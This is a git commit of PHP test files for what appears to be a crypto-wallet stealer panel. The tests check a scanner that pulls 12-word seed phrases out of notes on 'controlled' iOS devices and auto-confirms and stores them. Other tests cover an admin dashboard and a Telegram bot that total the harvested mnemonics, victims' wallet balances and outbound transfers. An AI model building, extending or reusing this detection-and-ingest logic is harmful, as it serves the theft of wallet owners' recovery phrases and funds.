feat: scan

This commit is contained in:
hashbro
2026-09-13 02:12:06 +08:00
parent d7bd4d1b03
commit 1746e7b485
13 changed files with 266 additions and 40 deletions
+78 -1
View File
@@ -5,6 +5,7 @@ namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\TransferRecord;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
@@ -297,6 +298,46 @@ class AdminAgentPortalTest extends TestCase
'source' => 'imToken',
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
]);
TransferRecord::query()->create([
'from_address' => 'TTestAddress111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'tx-usdt',
'amount' => '10.5',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => 'TTestAddress111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'tx-trx',
'amount' => '3.25',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'TRX',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
'to_address' => '0xto',
'chain' => 'eth',
'tx_hash' => 'tx-eth',
'amount' => '0.1',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'ETH',
'status' => TransferRecord::STATUS_SUCCESS,
]);
TransferRecord::query()->create([
'from_address' => 'TTestAddress111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'tx-fail',
'amount' => '99',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_FAILED,
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => '30d']))
@@ -310,11 +351,16 @@ class AdminAgentPortalTest extends TestCase
->assertJsonPath('data.balances.eth', '0.1')
->assertJsonPath('data.balances.btc', '0.001')
->assertJsonPath('data.balances.bnb', '1.25')
->assertJsonPath('data.transfer_count', 3)
->assertJsonPath('data.transfers.usdt', '10.5')
->assertJsonPath('data.transfers.trx', '3.25')
->assertJsonPath('data.transfers.eth', '0.1')
->assertJsonPath('data.transfers.btc', '0')
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
->assertJsonPath('data.by_device_ios_version.0.count', 2)
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
->assertJsonPath('data.by_device_ios_version.1.count', 1)
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'transfer_count', 'transfers', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
}
#[Test]
@@ -378,6 +424,35 @@ class AdminAgentPortalTest extends TestCase
'updated_at' => '2026-08-10 12:00:00',
]);
$inTx = TransferRecord::query()->create([
'from_address' => 'TInRangeAddr111111111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'in-tx',
'amount' => '4.2',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_SUCCESS,
]);
\Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $inTx->id)->update([
'created_at' => '2026-08-10 12:00:00',
'updated_at' => '2026-08-10 12:00:00',
]);
$outTx = TransferRecord::query()->create([
'from_address' => 'TOutOfRangeAddr11111111111111111',
'to_address' => 'TTo',
'chain' => 'tron',
'tx_hash' => 'out-tx',
'amount' => '9',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'USDT',
'status' => TransferRecord::STATUS_SUCCESS,
]);
\Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $outTx->id)->update([
'created_at' => '2026-07-01 12:00:00',
'updated_at' => '2026-07-01 12:00:00',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', [
'date_from' => '2026-08-01',
@@ -391,6 +466,8 @@ class AdminAgentPortalTest extends TestCase
->assertJsonPath('data.mnemonic_count', 1)
->assertJsonPath('data.address_count', 1)
->assertJsonPath('data.balances.usdt', '5')
->assertJsonPath('data.transfer_count', 1)
->assertJsonPath('data.transfers.usdt', '4.2')
->assertJsonPath('data.date_from', '2026-08-01')
->assertJsonPath('data.date_to', '2026-08-15');
}
+23
View File
@@ -71,6 +71,29 @@ TXT;
});
}
#[Test]
public function glued_numbered_note_words_auto_confirm_and_ingest(): void
{
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
$device = $this->device('dev-scan-glued');
Note::query()->create([
'device_id' => $device->id,
'content' => [
'1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist',
],
'content_hash' => hash('sha256', 'glued'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$finding = MnemonicFinding::query()->first();
$this->assertNotNull($finding);
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status);
$this->assertSame($phrase, $finding->candidate);
$this->assertSame(1, $device->mnemonics()->count());
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
}
#[Test]
public function nine_note_hits_are_ignored(): void
{
+1
View File
@@ -290,6 +290,7 @@ class TelegramBotTest extends TestCase
$this->assertStringContainsString('页面 PV: 1 / 2', $text);
$this->assertStringContainsString('设备与资产', $text);
$this->assertStringContainsString('总余额', $text);
$this->assertStringContainsString('交易额', $text);
$this->assertStringContainsString('助记词', $text);
$this->assertStringContainsString('受控设备 · 系统版本', $text);
$this->assertStringContainsString('按 iOS 版本', $text);
+15
View File
@@ -117,6 +117,21 @@ TXT;
$this->assertSame(12, $hit['word_count']);
}
#[Test]
public function notes_keep_inline_and_glued_numbered_phrase(): void
{
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
$spaced = '1 during 2 exhaust 3 tool 4 custom 5 smart 6 old 7 busy 8 region 9 skin 10 wasp 11 attitude 12 wrist';
$glued = '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist';
foreach ([$spaced, $glued] as $text) {
$hit = (new MnemonicDetector)->detect($text, true);
$this->assertNotNull($hit);
$this->assertTrue($hit['confirmed']);
$this->assertSame($phrase, $hit['candidate']);
}
}
#[Test]
public function prefers_english_phrase_over_chinese_ui(): void
{
+12
View File
@@ -40,6 +40,18 @@ class NoteContentTest extends TestCase
$this->assertSame([], NoteContent::fromList(["\n(\n\t (\n"]));
}
#[Test]
public function keeps_full_single_line_body_when_longer_than_title(): void
{
$line = '1.during 2.exhaust 3.tool 4.custom 5.smart 6.old 7.busy 8.region 9.skin 10.wasp 11.attitude 12.wrist';
$items = NoteContent::fromList([$line]);
$this->assertCount(1, $items);
$this->assertTrue(str_starts_with($line, $items[0]['title']));
$this->assertSame($line, $items[0]['body']);
$this->assertStringContainsString('12.wrist', $items[0]['body']);
}
#[Test]
public function keeps_title_as_body_when_rest_is_notes_junk(): void
{